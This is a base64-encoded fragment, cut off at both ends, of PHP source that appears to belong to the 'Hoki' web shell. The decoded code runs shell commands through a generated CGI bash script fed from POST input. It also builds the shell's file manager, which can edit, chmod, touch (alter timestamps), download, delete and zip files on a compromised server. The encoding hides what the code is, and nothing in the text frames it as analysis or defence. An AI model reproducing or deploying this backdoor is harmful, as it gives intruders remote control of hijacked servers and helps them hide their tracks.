9POU85dmNIVmZ2eHJ0Q2pKOG9HeGVwL2ZYK0ljQlQrLzd1ZTREZEZYTnRFcVVjMEJMWkNSZEFnVExBZzZ3QUx3UXNmWWR6aUxrTjhyY055elJBaW8weFJSclJCSlpMd0JTQ0FORHRMWUxyYS9EMk1yNUthWlNDSUdHY1VmWnJDT3YxSE1xVU1CM1ZKY
09EMWdPOEJMQml3ODZEQmhwb082RzJSVm5DWlVSUmhpVjRFU0Ruem5kKytNNDMzeWw4NTZjL2NVTGYrWUxhTEphNm4rdTcrZ3pnQ1hXZFVJaXdoc1ZpQVFpcmJNaTJ5bnBMQW56UXluS3lQdXJkZU1XSTZPalUwSTNndTIxSDMwdHFGZlM1ai82Z1NN
NWptdFFkKzJoaXQwVGtiSmQzL05NSlQzZDV5RHJsczFFWXFSNTcxWFdiMXlBTE5CZ0FwY0ZrTHA4TGZManFmSTZLakVZdzdBdjJKc3RJRnUvUVdUNm0xSjhlLy83KzA1UXk1b3k4UGROWnVLeEFVMjF6R1YzenlYUTJtNkcrdkpiVlhoVk5sR0pBa3c
vRlFtNVg3ZVZEVlBLeEY1VjAwTFhWbWIxS0ZrYVZUeVZVcmFTWU9HRm5tMFE4NHlKQWVValo0MFlRd3ZSUlpVS1NtWFQvRlNvN3RTUjlhRUV1K0FnU3R4NzlhYkhxSGYwU1lpcElWSEpSbjIya1cwdHBKMGZxWXdUWjdMSlF5TTdPaUw3dXk4dGxCNU
p2eS9yZmJrV2RQL0dNUnFDbTZNTCtPckE1dHA3end3cXhNQ2NyNU1OS1RzRUszY2gvNVdwSXMxUlFUNEdoWnEyd0hnT0R6VnBoTlFxR05rc0ZtMmt3dURXVVlKckVLSjNWU3JwZFRrUmp0N0l1ellsczdPT05yWnU0K1o0ZGptdjBDZz09IjsKCQkJJ
HRtcF9nZXRkaXJfcGF0aCA9IGhva2lXcml0ZVRvY2dpYXBpKCJnZXRkaXIuaG9raSIsJGJhc2gpOwoJCQlfX2hva2lfc2V0X2Nvb2tpZSgiaG9raWNoZGlyX2Jhc2giLCAidHJ1ZSIpOwoJCQlfX2hva2lfc2V0X2Nvb2tpZSgiaG9raWNoZGlyX2Jh
c2hfcGF0aCIsICR0bXBfZ2V0ZGlyX3BhdGgpOwoJCX0KCQkkZGlyQ29udGVudCA9IGhva2lFeCgiY2QgIi4kdG1wX2dldGRpcl9wYXRoLiIvaG9raWNnaWFwaTtzaCBnZXRkaXIuaG9raSAnIi5hZGRzbGFzaGVzKGlzc2V0KCRfUE9TVFsnYyddKT8
kX1BPU1RbJ2MnXTokR0xPQkFMU1snY3dkJ10pLiInIik7CgkJJGRpckNvbnRlbnQgPSBqc29uX2RlY29kZSgkZGlyQ29udGVudCwgdHJ1ZSk7CgkJaWYoaXNfYXJyYXkoJGRpckNvbnRlbnQpKXsKCQkJYXJyYXlfcG9wKCRkaXJDb250ZW50KTsKCQ
kJJGNtZF9kaXIgPSB0cnVlOwoJCX1lbHNlewoJCQkkZGlyQ29udGVudCA9IGZhbHNlOwoJCX0KCX0KfQpob2tpaGVhZCgpOwpIb2tpTnVtKDgsOSwxMCw3LDYsNSw0KTsKJGNvdW50X2RpckNvbnRlbnQgPSBAY291bnQoJGRpckNvbnRlbnQpOwppZ
igkY291bnRfZGlyQ29udGVudCA+IDMwMCl7CglAJF9DT09LSUVbImhva2lfbGltaXRlZF9maWxlcyJdID0gMTAwOwp9CiRob2tpX3NvcnRfYnkgPSBpc3NldCgkX0NPT0tJRVsiaG9raV9zb3J0X2J5Il0pID8gJF9DT09LSUVbImhva2lfc29ydF9i
eSJdIDogJ25hbWUnOwokaG9raV9saW1pdGVkX2ZpbGVzID0gaXNzZXQoJF9DT09LSUVbImhva2lfbGltaXRlZF9maWxlcyJdKSA/IChpbnQpJF9DT09LSUVbImhva2lfbGltaXRlZF9maWxlcyJdIDogMDsKJGhva2lfZmlsZXNfcGFnZV9udW1iZXI
gPSBpc3NldCgkX1BPU1RbInBhZ2VudW0iXSkgPyAoaW50KSRfUE9TVFsicGFnZW51bSJdIDogMTsKJGhva2lfZmlsZXNtYW5fZGlyZWN0aW9uID0gaXNzZXQoJF9DT09LSUVbImhva2lfZmlsZXNtYW5fZGlyZWN0aW9uIl0pID8gJF9DT09LSUVbIm
hva2lfZmlsZXNtYW5fZGlyZWN0aW9uIl0gOiAnYXNjJzsKJGZpbGVzX3BhZ2VfY291bnQgPSAxOwppZigkaG9raV9saW1pdGVkX2ZpbGVzID4gMCl7CgkkZmlsZXNfcGFnZV9jb3VudCA9IGNlaWwoJGNvdW50X2RpckNvbnRlbnQvJGhva2lfbGlta
XRlZF9maWxlcyk7CglpZigkZmlsZXNfcGFnZV9jb3VudCA+IDEpewoJCSRmaWxlc19wYWdlX2NvdW50Kys7Cgl9Cn0KZWNobyAnPGRpdj48ZGl2IGNsYXNzPSJmaWx0ZXJzLWhvbGRlciI+PHNwYW4+RmlsdGVyOiA8L3NwYW4+PGlucHV0IHN0eWxl
PSJjb2xvcjojMjVmZjAwOyIgYXV0b2NvbXBsZXRlPSJvZmYiIHR5cGU9InRleHQiIGlkPSJyZWdleC1maWx0ZXIiIG5hbWU9Im5hbWUtZmlsdGVyIiBvbmtleWRvd249ImRvRmlsdGVyTmFtZSh0aGlzKTsiPjxzcGFuIHN0eWxlPSJtYXJnaW4tbGV
mdDoxMHB4Ij5Tb3J0IEJ5OiA8L3NwYW4+PHNlbGVjdCBuYW1lPSJzb3J0X2ZpbGVzIiBvbmNoYW5nZT0ic29ydEJ5U2VsZWN0ZWRWYWx1ZSh0aGlzLFwnaG9raV9zb3J0X2J5XCcpOyIgc3R5bGU9ImNvbG9yOiMyNWZmMDA7Ij48b3B0aW9uIHZhbH
VlPSJuYW1lIiAnLigkaG9raV9zb3J0X2J5ID09ICduYW1lJz8nc2VsZWN0ZWQnOicnKS4nPk5hbWU8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJzaXplIiAnLigkaG9raV9zb3J0X2J5ID09ICdzaXplJz8nc2VsZWN0ZWQnOicnKS4nPlNpemU8L29wd
Glvbj48b3B0aW9uIHZhbHVlPSJtb2RpZnkiICcuKCRob2tpX3NvcnRfYnkgPT0gJ21vZGlmeSc/J3NlbGVjdGVkJzonJykuJz5Nb2RpZnk8L29wdGlvbj48L3NlbGVjdD48c3BhbiBzdHlsZT0ibWFyZ2luLWxlZnQ6MTBweCI+RGlyZWN0aW9uOiA8
L3NwYW4+PHNlbGVjdCBuYW1lPSJkaXJlY3Rpb25fZmlsZXNtYW4iIG9uQ2hhbmdlPSJzb3J0QnlTZWxlY3RlZFZhbHVlKHRoaXMsXCdob2tpX2ZpbGVzbWFuX2RpcmVjdGlvblwnKSIgc3R5bGU9ImNvbG9yOiMyNWZmMDA7Ij48b3B0aW9uIHZhbHV
lPSJhc2MiICcuKCRob2tpX2ZpbGVzbWFuX2RpcmVjdGlvbiA9PSAnYXNjJz8nc2VsZWN0ZWQnOicnKS4nPkFzY2VuZGluZzwvb3B0aW9uPjxvcHRpb24gdmFsdWU9ImRlc2MiICcuKCRob2tpX2ZpbGVzbWFuX2RpcmVjdGlvbiA9PSAnZGVzYyc/J3
NlbGVjdGVkJzonJykuJz5EZXNjZW5kaW5nPC9vcHRpb24+PC9zZWxlY3Q+PHNwYW4gc3R5bGU9Im1hcmdpbi1sZWZ0OjEwcHg7Ij4gbGltaXQ6IDwvc3Bhbj48aW5wdXQgc3R5bGU9InRleHQtYWxpZ246Y2VudGVyO3dpZHRoOiA0MHB4O2NvbG9yO
iMyNWZmMDA7IiB0eXBlPSJ0ZXh0IiBuYW1lPSJsaW1pdGVkX251bWJlciIgdmFsdWU9IicuJGhva2lfbGltaXRlZF9maWxlcy4nIiBvbmlucHV0PSJ0aGlzLnZhbHVlPXRoaXMudmFsdWUucmVwbGFjZSgvW14wLTldL2csXCdcJyk7c2V0Q29va2ll
KFwnaG9raV9saW1pdGVkX2ZpbGVzXCcsIHRoaXMudmFsdWUsIDIwMTIpOyI+PHNwYW4gc3R5bGU9Im1hcmdpbi1sZWZ0OjEwcHg7Ij5GaWxlcyBDb3VudDogPGIgc3R5bGU9ImNvbG9yOiMyNWZmMDA7Ij4nLigkY291bnRfZGlyQ29udGVudC0xKS4
nPC9iPjwvc3Bhbj48L2Rpdj48ZGl2IGNsYXNzPSJoZWFkZXIiPic7CmlmKCRkaXJDb250ZW50ID09IGZhbHNlKXsKZWNobyAnPGNlbnRlcj48YnI+PHNwYW4gc3R5bGU9ImZvbnQtc2l6ZToxNnB4OyI+PHNwYW4gc3R5bGU9ImNvbG9yOiByZWQ7IC
13ZWJraXQtdGV4dC1zaGFkb3c6IDFweCAxcHggMTNweDsiPjxzdHJvbmc+PGI+PGJpZz4hISEgQWNjZXNzIERlbmllZCAhISE8L2I+PC9iaWc+PGJyPjxicj48L3N0cm9uZz48L2Rpdj4nOwpob2tpRm9vdGVyKCk7CnJldHVybjsKfQpnbG9iYWwgJ
HNvcnQ7CiRzb3J0ID0gYXJyYXkoJ25hbWUnLCAxKTsKaWYoaXNzZXQoJF9DT09LSUVbImhva2lfc29ydF9ieSJdKSAmJiAhZW1wdHkoJF9DT09LSUVbImhva2lfc29ydF9ieSJdKSl7Cgkkc29ydFswXSA9ICRfQ09PS0lFWyJob2tpX3NvcnRfYnki
XTsKfQppZighZW1wdHkoJF9QT1NUWydob2tpMSddKSkgewppZihwcmVnX21hdGNoKCchc18oW0Etel0rKV8oXGR7MX0pIScsICRfUE9TVFsnaG9raTEnXSwgJG1hdGNoKSkKJHNvcnQgPSBhcnJheSgkbWF0Y2hbMV0sIChpbnQpJG1hdGNoWzJdKTs
KfQppZigkaG9raV9maWxlc19wYWdlX251bWJlciA+ICgkZmlsZXNfcGFnZV9jb3VudC0xKSl7CgkkaG9raV9maWxlc19wYWdlX251bWJlciA9IDE7Cn0KJGNoZWNrYm94X3JhbmQgPSByYW5kKDExMTExLCA5OTk5OSk7CmVjaG8gIjxmb3JtIG9uc3
VibWl0PSdmYyh0aGlzKTtyZXR1cm4gZmFsc2U7JyBuYW1lPSdmaWxlcycgbWV0aG9kPSdwb3N0Jz48dGFibGUgaWQ9J2ZpbGVtYW5hZ2VyX3RhYmxlJyB3aWR0aD0nMTAwJScgY2xhc3M9J21haW4nIGNlbGxzcGFjaW5nPScwJyBjZWxscGFkZGluZ
z0nMic+PHRyPjx0aCB3aWR0aD0nMTNweCc+PGRpdiBjbGFzcz0nbXlDaGVja2JveCcgc3R5bGU9J3BhZGRpbmctbGVmdDowcHg7Jz48aW5wdXQgdHlwZT0nY2hlY2tib3gnIGlkPSdtY2hrIi4kY2hlY2tib3hfcmFuZC4iJyBvbmNsaWNrPSdjaGVj
a0JveCh0aGlzKTsnIGNsYXNzPSdjaGtieCc+PGxhYmVsIGZvcj0nbWNoayIuJGNoZWNrYm94X3JhbmQuIic+PC9sYWJlbD48L2Rpdj48L3RoPjx0aD5OYW1lPC90aD48dGg+U2l6ZTwvdGg+PHRoPk1vZGlmeTwvdGg+PHRoPk93bmVyL0dyb3VwPC9
0aD48dGg+UGVybWlzc2lvbnM8L3RoPjx0aD5BY3Rpb25zPC90aD48L3RyPiI7CiRkaXJzID0gJGZpbGVzID0gYXJyYXkoKTsKJG4gPSAkY291bnRfZGlyQ29udGVudDsKaWYoJG4gPiAkaG9raV9saW1pdGVkX2ZpbGVzICYmICRob2tpX2xpbWl0ZW
RfZmlsZXMgPiAwKXsKCSRuID0gKCRob2tpX2xpbWl0ZWRfZmlsZXMgKiAkaG9raV9maWxlc19wYWdlX251bWJlcik7CglpZigkbiA+ICRjb3VudF9kaXJDb250ZW50KXsKCQkkbiA9ICRjb3VudF9kaXJDb250ZW50OwoJfQp9CiRpID0gMDsKaWYoJ
Ghva2lfbGltaXRlZF9maWxlcyA+IDAgJiYgJGhva2lfZmlsZXNfcGFnZV9udW1iZXIgPiAxKXsKCSRpID0gJGhva2lfbGltaXRlZF9maWxlcyAqICgkaG9raV9maWxlc19wYWdlX251bWJlciAtIDEpOwp9CiRwYWdlX2J1aWxkZXIgPSBnZXRfcGFn
aW5hdGlvbl9saW5rcygkaG9raV9maWxlc19wYWdlX251bWJlciwkZmlsZXNfcGFnZV9jb3VudCAtMSk7CiRjbWRfZGlyX2JhY2twID0gIiI7CmZvcig7JGk8JG47JGkrKyl7CmlmKCRjbWRfZGlyKXsKJGZpbGVuYW1lID0gJGRpckNvbnRlbnRbJGl
dWyJuYW1lIl07CiRmaWxlX293bmVyID0gJGRpckNvbnRlbnRbJGldWyJvd25lciJdOwokZmlsZV9ncm91cCA9ICRkaXJDb250ZW50WyRpXVsiZ3JvdXAiXTsKJGZpbGVfbW9kaWZ5ID0gQGRhdGUoJ1ktbS1kIEg6aTpzJywgJGRpckNvbnRlbnRbJG
ldWyJtb2RpZnkiXSk7CiRmaWxlX3Blcm0gPSBob2tpUGVybXNDb2xvcihhcnJheSgiY2xhc3MiPT4kZGlyQ29udGVudFskaV1bInBlcm1jb2xvciJdLCJudW0iPT4kZGlyQ29udGVudFskaV1bInBlcm1udW0iXSwiaHVtYW4iPT4kZGlyQ29udGVud
FskaV1bInBlcm1odW1hbiJdKSx0cnVlKTsKJGZpbGVfc2l6ZSA9ICRkaXJDb250ZW50WyRpXVsic2l6ZSJdOwppZihzdWJzdHIoJGRpckNvbnRlbnRbJGldWyJuYW1lIl0sIDAgLDEpID09ICIvIil7CiRmaWxlX3BhdGggPSAkZGlyQ29udGVudFsk
aV1bIm5hbWUiXTsKJGRpckNvbnRlbnRbJGldWyJuYW1lIl0gPSAiLi4iOwokZmlsZW5hbWUgPSAkZGlyQ29udGVudFskaV1bIm5hbWUiXTsKfWVsc2V7CiRmaWxlX3BhdGggPSAkR0xPQkFMU1snY3dkJ10uIi8iLiRkaXJDb250ZW50WyRpXVsibmF
tZSJdOwp9Cn1lbHNlewokZmlsZW5hbWUgPSAkZGlyQ29udGVudFskaV07CiRvdyA9IGZ1bmN0aW9uX2V4aXN0cygicG9zaXhfZ2V0cHd1aWQiKSYmZnVuY3Rpb25fZXhpc3RzKCJmaWxlb3duZXIiKT9AcG9zaXhfZ2V0cHd1aWQoQGZpbGVvd25lci
gkR0xPQkFMU1snY3dkJ10uJGZpbGVuYW1lKSk6YXJyYXkoIm5hbWUiID0+ICI/Pz8/Iik7CiRnciA9IGZ1bmN0aW9uX2V4aXN0cygicG9zaXhfZ2V0Z3JnaWQiKSYmZnVuY3Rpb25fZXhpc3RzKCJmaWxlZ3JvdXAiKT9AcG9zaXhfZ2V0Z3JnaWQoQ
GZpbGVncm91cCgkR0xPQkFMU1snY3dkJ10uJGZpbGVuYW1lKSk6YXJyYXkoIm5hbWUiID0+ICI/Pz8/Iik7CiRmaWxlX293bmVyID0gJG93WyduYW1lJ10/JG93WyduYW1lJ106KGZ1bmN0aW9uX2V4aXN0cygiZmlsZW93bmVyIik/QGZpbGVvd25l
cigkR0xPQkFMU1snY3dkJ10uJGZpbGVuYW1lKToiPz8/PyIpOwokZmlsZV9ncm91cCA9ICRnclsnbmFtZSddPyRnclsnbmFtZSddOihmdW5jdGlvbl9leGlzdHMoImZpbGVncm91cCIpP0BmaWxlZ3JvdXAoJEdMT0JBTFNbJ2N3ZCddLiRmaWxlbmF
tZSk6Ij8/Pz8iKTsKJGZpbGVfbW9kaWZ5ID0gQGRhdGUoJ1ktbS1kIEg6aTpzJywgQGZpbGVtdGltZSgkR0xPQkFMU1snY3dkJ10gLiAkZmlsZW5hbWUpKTsKJGZpbGVfcGVybSA9IGhva2lQZXJtc0NvbG9yKCRHTE9CQUxTWydjd2QnXS4kZmlsZW
5hbWUpOwokZmlsZV9zaXplID0gQGZpbGVzaXplKCRHTE9CQUxTWydjd2QnXS4kZmlsZW5hbWUpOwokZmlsZV9wYXRoID0gJEdMT0JBTFNbJ2N3ZCddLiRmaWxlbmFtZTsKfQokdG1wID0gYXJyYXkoJ25hbWUnID0+ICRmaWxlbmFtZSwKJ3BhdGgnI
D0+ICRmaWxlX3BhdGgsCidtb2RpZnknID0+ICRmaWxlX21vZGlmeSwKJ3Blcm1zJyA9PiAkZmlsZV9wZXJtLAonc2l6ZScgPT4gJGZpbGVfc2l6ZSwKJ293bmVyJyA9PiAkZmlsZV9vd25lciwKJ2dyb3VwJyA9PiAkZmlsZV9ncm91cAopOwppZigk
ZmlsZW5hbWUgPT0gIi4uIiAmJiAhJGNtZF9kaXIpewoJJHRtcFsicGF0aCJdID0gc3RyX3JlcGxhY2UoIlxcIiwgIi8iLCByZWFscGF0aCgkZmlsZV9wYXRoKSk7Cn0KaWYoISRjbWRfZGlyKXsKaWYoQGlzX2ZpbGUoJGZpbGVfcGF0aCkpewokYXJ
yX21yZyA9IGFycmF5KCd0eXBlJyA9PiAnZmlsZScpOwppZihAaXNfbGluaygkZmlsZV9wYXRoKSl7CiRhcnJfbXJnWyJsaW5rIl0gPSByZWFkbGluaygkdG1wWydwYXRoJ10pOwp9CiRmaWxlc1tdID0gYXJyYXlfbWVyZ2UoJHRtcCwgJGFycl9tcm
cpOwp9ZWxzZWlmKEBpc19saW5rKCRmaWxlX3BhdGgpKXsKJGRpcnNbXSA9IGFycmF5X21lcmdlKCR0bXAsIGFycmF5KCd0eXBlJyA9PiAnbGluaycsICdsaW5rJyA9PiByZWFkbGluaygkdG1wWydwYXRoJ10pKSk7Cn1lbHNlaWYoQGlzX2RpcigkZ
mlsZV9wYXRoKSYmICgkZmlsZW5hbWUgIT0gIi4iKSl7CiRkaXJzW10gPSBhcnJheV9tZXJnZSgkdG1wLCBhcnJheSgndHlwZScgPT4gJ2RpcicpKTsKfQp9ZWxzZXsKCWlmKCRkaXJDb250ZW50WyRpXVsidHlwZSJdPT0iZmlsZSIpewoJCSRmaWxl
c1tdID0gYXJyYXlfbWVyZ2UoJHRtcCwgYXJyYXkoJ3R5cGUnID0+ICdmaWxlJykpOwoJfWVsc2V7CgkJaWYoJGRpckNvbnRlbnRbJGldWyJuYW1lIl0gIT0gIi4iKXsKCQkJJGRpcnNbXSA9IGFycmF5X21lcmdlKCR0bXAsIGFycmF5KCd0eXBlJyA
9PiAnZGlyJykpOwoJCX0KCX0KfQp9CiRHTE9CQUxTWydzb3J0J10gPSAkc29ydDsKZnVuY3Rpb24gaG9raUNtcCgkYSwgJGIpIHsKaWYoJEdMT0JBTFNbJ3NvcnQnXVswXSAhPSAnc2l6ZScpCnJldHVybiBzdHJjbXAoc3RydG9sb3dlcigkYVskR0
xPQkFMU1snc29ydCddWzBdXSksIHN0cnRvbG93ZXIoJGJbJEdMT0JBTFNbJ3NvcnQnXVswXV0pKSooJEdMT0JBTFNbJ3NvcnQnXVsxXT8xOi0xKTsKZWxzZQpyZXR1cm4gKCgkYVsnc2l6ZSddIDwgJGJbJ3NpemUnXSkgPyAtMSA6IDEpKigkR0xPQ
kFMU1snc29ydCddWzFdPzE6LTEpOwp9CnVzb3J0KCRmaWxlcywgImhva2lDbXAiKTsKdXNvcnQoJGRpcnMsICJob2tpQ21wIik7CmlmKGlzc2V0KCRfQ09PS0lFWyJob2tpX2ZpbGVzbWFuX2RpcmVjdGlvbiJdKSYmICFlbXB0eSgkX0NPT0tJRVsi
aG9raV9maWxlc21hbl9kaXJlY3Rpb24iXSkpewoJaWYoJF9DT09LSUVbImhva2lfZmlsZXNtYW5fZGlyZWN0aW9uIl0gPT0gJ2Rlc2MnKXsKCQkkZmlsZXMgPSBhcnJheV9yZXZlcnNlKCRmaWxlcyk7CgkJJGRpcnMgPSBhcnJheV9yZXZlcnNlKCR
kaXJzKTsKCX0KfQokZmlsZXMgPSBhcnJheV9tZXJnZSgkZGlycywgJGZpbGVzKTsKJGw9MDsKJGNjPTA7CmZvcmVhY2goJGZpbGVzIGFzICRmKXsKJGZbJ25hbWUnXSA9IGh0bWxzcGVjaWFsY2hhcnMoJGZbJ25hbWUnXSk7CiRuZXduYW1lID0gbW
Jfc3RybGVuKCRmWyduYW1lJ10sICdVVEYtOCcpPjYwP21iX3N1YnN0cigkZlsnbmFtZSddLCAwLCA2MCwgJ3V0Zi04JykuJy4uLic6JGZbJ25hbWUnXTsKJGNoZWNrYm94ID0gJ2NoZWNrYm94XycuJGNoZWNrYm94X3JhbmQuJGNjOwokcmF3X25hb
WUgPSByYXd1cmxlbmNvZGUoJGZbJ25hbWUnXSk7CiRpY29uID0gJEdMT0JBTFNbJ0RCX05BTUUnXVsnc2hvd19pY29ucyddPyc8aW1nIHNyYz0iJy5maW5kaWNvbigkZlsnbmFtZSddLCRmWyd0eXBlJ10pLiciIHdpZHRoPSIzMCIgaGVpZ2h0PSIz
MCI+JzonJzsKJHN0eWxlID0gJEdMT0JBTFNbJ0RCX05BTUUnXVsnc2hvd19pY29ucyddPydwb3NpdGlvbjpyZWxhdGl2ZTtkaXNwbGF5OmlubGluZS1ibG9jaztib3R0b206MTJweDsnOicnOwplY2hvICc8dHIgY2xhc3M9ImZtYW5hZ2VyLXJvdyI
gaWQ9InRyX3Jvd18nLiRjYy4nIj48dGQ+PGRpdiBjbGFzcz0ibXlDaGVja2JveCI+PGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSJmW10iIHZhbHVlPSInLiRyYXdfbmFtZS4nIiBjbGFzcz0iY2hrYngiIGlkPSInLiRjaGVja2JveCAuJyI+PG
xhYmVsIGZvcj0iJy4kY2hlY2tib3ggLiciPjwvbGFiZWw+PC9kaXY+PC90ZD48dGQgaWQ9InRkX3Jvd18nLiRjYy4nIj4nLiRpY29uLic8ZGl2IHN0eWxlPSInLiRzdHlsZS4nIj48YSByb3c9IicuJGNjLiciIGlkPSJpZF8nLiRjYy4nIiBjbGFzc
z0ibWFpbl9uYW1lIiBvbmNsaWNrPSInLigoJGZbJ3R5cGUnXT09J2ZpbGUnKT8nZWRpdG9yKFwnJy4kcmF3X25hbWUuJ1wnLFwnYXV0b1wnLFwnXCcsXCdcJyxcJ1wnLFwnJy4kZlsndHlwZSddLidcJyk7IiBocmVmPSIjYWN0aW9uPWZpbGVtYW4m
cGF0aD0nLiRHTE9CQUxTWydjd2QnXS4nJmZpbGU9Jy4kcmF3X25hbWUuJyIgZm5hbWU9IicuJHJhd19uYW1lLiciIGZ0eXBlPSJmaWxlIiBwYXRoPSInLiRHTE9CQUxTWydjd2QnXS4nIiBvcHRfdGl0bGU9IicuJGZbJ2xpbmsnXS4nIiAnLihpc3N
ldCgkZlsnbGluayddKT8nb25tb3VzZW92ZXI9InNob3dTeW1saW5rUGF0aCh0aGlzLGV2ZW50KTsiIG9ubW91c2VvdXQ9ImhpZGVTeW1saW5rUGF0aCh0aGlzLGV2ZW50KTsiJzonJykuJz4nLigkR0xPQkFMU1snY3dkJ10uJGZbJ25hbWUnXT09JE
dMT0JBTFNbJ19fZmlsZV9wYXRoJ10/IjxzcGFuIGNsYXNzPSdzaGVsbF9uYW1lJyBzdHlsZT0nZm9udC13ZWlnaHQ6dW5zZXQ7Jz4iLiRmWyduYW1lJ10uIjwvc3Bhbj4iOmh0bWxzcGVjaWFsY2hhcnMoJG5ld25hbWUpKTonZyhcJ0ZpbGVzTWFuX
CcsXCcnLiRmWydwYXRoJ10uJ1wnKTsiIGhyZWY9IiNhY3Rpb249ZmlsZW1hbiZwYXRoPScuJGZbJ3BhdGgnXS4nIiBmbmFtZT0iJy4kcmF3X25hbWUuJyIgZnR5cGU9ImZvbGRlciIgcGF0aD0iJy4kR0xPQkFMU1snY3dkJ10uJyIgb3B0X3RpdGxl
PSInLiRmWydsaW5rJ10uJyIgJy4oaXNzZXQoJGZbJ2xpbmsnXSk/J29ubW91c2VvdmVyPSJzaG93U3ltbGlua1BhdGgodGhpcyxldmVudCk7IiBvbm1vdXNlb3V0PSJoaWRlU3ltbGlua1BhdGgodGhpcyxldmVudCk7Iic6JycpLic+PGI+fCAnIC4
gaHRtbHNwZWNpYWxjaGFycygkZlsnbmFtZSddKSAuICcgfDwvYj4nKS4nPC9hPjwvdGQ+PC9kaXY+PHRkPjxzcGFuIHN0eWxlPSJmb250LXdlaWdodDp1bnNldDsiIGNsYXNzPSJtYWluX3NpemUiPicuKCgkZlsndHlwZSddPT0nZmlsZScpPyhpc3
NldCgkZlsnbGluayddKT8nW0xdICc6JycpLmhva2lTaXplKCRmWydzaXplJ10pOiRmWyd0eXBlJ10pLic8L3NwYW4+PC90ZD48dGQ+PHNwYW4gc3R5bGU9ImZvbnQtd2VpZ2h0OnVuc2V0OyIgY2xhc3M9Im1haW5fbW9kaWZ5Ij4nLiRmWydtb2RpZ
nknXS4nPC9zcGFuPjwvdGQ+PHRkPjxzcGFuIHN0eWxlPSJmb250LXdlaWdodDp1bnNldDsiIGNsYXNzPSJtYWluX293bmVyX2dyb3VwIj4nLiRmWydvd25lciddLicvJy4kZlsnZ3JvdXAnXS4nPC9zcGFuPjwvdGQ+PHRkPjxhIGlkPSJpZF9jaG1v
ZGVfJy4kY2MuJyIgaHJlZj1qYXZhc2NyaXB0OnZvaWQoMCkgb25jbGljaz0iZWRpdG9yKFwnJy4kcmF3X25hbWUuJ1wnLFwnY2htb2RcJyxcJ1wnLFwnXCcsXCdcJyxcJycuJGZbJ3R5cGUnXS4nXCcpIj4nLgokZlsncGVybXMnXS4nPC90ZD48dGQ
+PGEgaWQ9ImlkX3JlbmFtZV8nLiRjYy4nIiB0aXRsZT0iUmVuYW1lIiBjbGFzcz0iYWN0aW9ucyIgaHJlZj0iamF2YXNjcmlwdDp2b2lkKDApOyIgb25jbGljaz0iZWRpdG9yKFwnJy4kcmF3X25hbWUuJ1wnLCBcJ3JlbmFtZVwnLFwnXCcsXCdcJy
xcJ1wnLFwnJy4kZlsndHlwZSddLidcJykiPlI8L2E+IDxhIGlkPSJpZF90b3VjaF8nLiRjYy4nIiB0aXRsZT0iTW9kaWZ5IERhdGV0aW1lIiBjbGFzcz0iYWN0aW9ucyIgaHJlZj0iamF2YXNjcmlwdDp2b2lkKDApOyIgb25jbGljaz0iZWRpdG9yK
FwnJy4kcmF3X25hbWUuJ1wnLCBcJ3RvdWNoXCcsXCdcJyxcJ1wnLFwnXCcsXCcnLiRmWyd0eXBlJ10uJ1wnKSI+VDwvYT4nLigoJGZbJ3R5cGUnXT09J2ZpbGUnKT8nIDxhIGlkPSJpZF9lZGl0XycuJGNjLiciIGNsYXNzPSJhY3Rpb25zIiB0aXRs
ZT0iRWRpdCIgaHJlZj0iamF2YXNjcmlwdDp2b2lkKDApOyIgb25jbGljaz0iZWRpdG9yKFwnJy4kcmF3X25hbWUuJ1wnLCBcJ2VkaXRcJyxcJ1wnLFwnXCcsXCdcJyxcJycuJGZbJ3R5cGUnXS4nXCcpIj5FPC9hPiA8YSBpZD0iaWRfZG93bmxvYWR
fJy4kY2MuJyIgdGl0bGU9IkRvd25sb2FkIiBjbGFzcz0iYWN0aW9ucyIgaHJlZj0iamF2YXNjcmlwdDp2b2lkKDApOyIgb25jbGljaz0iZyhcJ0ZpbGVzVG9vbHNcJyxudWxsLFwnJy4kcmF3X25hbWUuJ1wnLCBcJ2Rvd25sb2FkXCcpIj5EPC9hPi
c6JycpLic8YSBpZD0iaWRfZGVsZXRlXycuJGNjLiciIHRpdGxlPSJEZWxldGUiIGNsYXNzPSJhY3Rpb25zIiBocmVmPSJqYXZhc2NyaXB0OnZvaWQoMCk7IiBvbmNsaWNrPSJ2YXIgY2hrID0gY29uZmlybShcJ0FyZSBZb3UgU3VyZSBGb3IgRGVsZ
XRlICMgJy5hZGRzbGFzaGVzKHJhd3VybGRlY29kZSgkZlsnbmFtZSddKSkuJyAjID9cJyk7IGNoayA/IGcoXCdGaWxlc01hblwnLG51bGwsXCdkZWxldGVcJywgXCcnLiRyYXdfbmFtZS4nXCcpIDogXCdcJzsiPiBYIDwvYT48L3RkPjwvdHI+JzsK
JGwgPSAkbD8wOjE7CiRjYysrOwp9CmVjaG8gIjx0ciBpZD0nZmlsZW1hbmFnZXJfbGFzdF90cic+PHRkIGNvbHNwYW49Nz4KPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YSB2YWx1ZT0nRmlsZXNNYW4nPgo8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1
jIHZhbHVlPSciLmh0bWxzcGVjaWFsY2hhcnMoKCRHTE9CQUxTWydnbG9iX2NoZGlyX2ZhbHNlJ10/JF9QT1NUWydjJ106JEdMT0JBTFNbJ2N3ZCddKSkuIic+CjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWNoYXJzZXQgdmFsdWU9JyIuIChpc3NldC
gkX1BPU1RbJ2NoYXJzZXQnXSk/JF9QT1NUWydjaGFyc2V0J106JycpLiInPgo8c2VsZWN0IGlkPSd0b29sc19zZWxlY3RvcicgbmFtZT0naG9raTEnPjxvcHRpb24gdmFsdWU9J2NvcHknPkNvcHk8L29wdGlvbj48b3B0aW9uIHZhbHVlPSdtb3ZlJ
z5Nb3ZlPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0nZGVsZXRlJyBzZWxlY3RlZD5EZWxldGU8L29wdGlvbj48b3B0aW9uIHZhbHVlPSd6aXAnPkFkZCAyIENvbXByZXNzICh6aXApPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0ndW56aXAnPkFkZCAyIFVu
Y29tcHJlc3MgKHppcCk8L29wdGlvbj48b3B0aW9uIHZhbHVlPSdwYXN0ZSc+UGFzdGUgLyBaaXAgLyBVbnppcCA8L29wdGlvbj48L3NlbGVjdD4KPGlucHV0IHR5cGU9J3N1Ym1pdCcgdmFsdWU9JyAnPgo8L2Zvcm0+PC90YWJsZT48ZGl2IGNsYXN
